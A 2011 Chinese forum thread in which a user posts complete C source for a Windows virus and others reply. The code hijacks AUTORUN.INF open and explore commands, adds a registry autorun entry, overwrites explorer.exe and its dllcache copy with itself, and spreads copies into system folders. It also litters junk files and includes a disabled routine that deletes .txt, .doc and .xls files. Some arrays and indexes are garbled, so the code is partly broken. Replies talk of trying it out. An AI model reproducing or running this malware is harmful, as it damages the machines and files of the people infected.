YJL 发表于 2011-12-27 15:59:27

用c语言写病毒

#include<stdio.h> /*标准输入输出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/
#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM5 /*删除文件数*/
/*====================================================================*/
/*
文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
添加注册表项:
1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
函数:复制文件
复制源:infile
目的地:outfile
成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
      fread(&temp,1,1,input);
      fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
/*=====================================================================*/
/*
函数:通过explorer自动运行
成功返回0,失败返回1,2
*/
int autorun_explorer()
{
    FILE *input;
    if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
      fclose(input);
      remove("c:\\windows\\$temp$");
      remove("c:\\windows\\system32\\dllcache\\$temp$");
      return 1;
    }
    copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
    rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
    rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32\\dllcache\\$temp$");
    if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
      return 0;
    else
      return 2;
}
/*=====================================================================*/
/*
函数:添加注册表项
成功返回0,失败返回1
*/
int add_reg()
{
    FILE *output;
    if((output=fopen("$$$$$","w"))!=NULL)
    {
      fprintf(output,regadd);
      fclose(output);
      spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
    }
}
/*=====================================================================*/
/*
函数:复制病毒 + Autorun.inf自动运行
*/
void copy_virus()
{
    int i,k;
    FILE *input,*output;
    char *files_svchost={"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
    char temp={"c:\\svchost.com","c:\\autorun.inf"};
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost,"rb"))!=NULL)
      {
      fclose(input);
      for(k=0;k<SVCHOST_NUM;k++)
      {
          copy(files_svchost,files_svchost);
      }
      i=SVCHOST_NUM;
      }
    }
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost,"rb"))!=NULL)
      {
      fclose(input);
      for(k=0;k<24;k++)
      {
          copy(files_svchost,temp);
          if((output=fopen(temp,"w"))!=NULL)
          {
            fprintf(output,"%s",autorun);
            fclose(output);
          }
          temp++;
          temp++;
      }
      i=SVCHOST_NUM;
      }
    }
}
/*=====================================================================*/
/*
函数:制造垃圾文件
*/
void make_rubbish()
{
   int i;
   FILE *output;
   srand(0);
   for(i=0;i<RUBBISH_NUM;i++)
   {
       int n;
       char s;
       n=rand();
       sprintf(s,"C:\\DESTORY_感染_%d",n);
       if((output=fopen(s,"w"))!=NULL)
       {
         fprintf(output,"%ld%s",n*n,s);
         fclose(output);
       }
   }
}
/*=====================================================================*/
/*
函数:删除文件
*/
void remove_files()
{
    long done;
    int i;
    struct _finddata_t ffblk;
    char *remove_files={"*.txt","*.doc","*.xls"};
    for(i=0;i<3;i++)
    {
      if(_findfirst(remove_files,&ffblk)==-1) continue;
      while(!done)
      {
      remove(ffblk.name);
      _findnext(done,&ffblk);
      }
      _findclose(done);
    }
}
/*=====================================================================*/
/*
主程序
使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
    int contral=0;
    if(argc>1)
      if(strcmp(argv,"/s")==0)
      goto next1;
    autorun_explorer();
    spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
    next1:
    add_reg();
    copy_virus();
    make_rubbish();
    /* remove_files(); */
    spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
    return 0;
}

YJL 发表于 2011-12-27 16:00:27

自己做沙发,看看有木有奖励,人品啊

YJL 发表于 2011-12-27 16:00:44

:Q可惜没有

YJL 发表于 2011-12-27 16:01:08

还是没有。。。求人品

灯火 发表于 2011-12-27 16:29:34

进来打开箱子中招了。。{:5_100:}

YJL 发表于 2011-12-27 16:36:45

灯火 发表于 2011-12-27 16:29 static/image/common/back.gif
进来打开箱子中招了。。

哈哈。。,悲剧了你

灯火 发表于 2011-12-27 16:38:13

YJL 发表于 2011-12-27 16:36 static/image/common/back.gif
哈哈。。,悲剧了你

嗯{:5_92:}

Mr.C 发表于 2011-12-27 16:51:40

........人品来了,

ice椛語 发表于 2011-12-27 21:17:12

楼主的病毒作用(目的)是什么?

G0398 发表于 2011-12-28 00:39:19

楼主杀软报毒吗?

无敌小枫枫 发表于 2011-12-28 01:19:14

{:1_1:} nhhh

ゃ莼处狼性ぉ 发表于 2011-12-28 04:17:26

汇编指令大全

YJL 发表于 2011-12-29 07:00:56

目的是让暂用电脑资源,把电脑累死。。。:lol

丿布丁 发表于 2011-12-29 08:17:07

:D 找地方测试去,,,

120600030 发表于 2011-12-29 10:18:21

暂时学习一下!

dargen 发表于 2011-12-29 10:32:58

学习学习

1138242948 发表于 2011-12-31 00:02:28

怎么感觉好像神马
只看头像
笑看无语

——挥霍。? 发表于 2011-12-31 18:16:02

强大啊,我记得有人说过一些话,这里就不说了,呵呵

nuckzjt 发表于 2011-12-31 18:26:38

这个不错 看看

乡村鸭子1 发表于 2011-12-31 18:59:02

这么好的东西,不试验可惜,可惜啊。
页: [1] 2 3
查看完整版本: 用c语言写病毒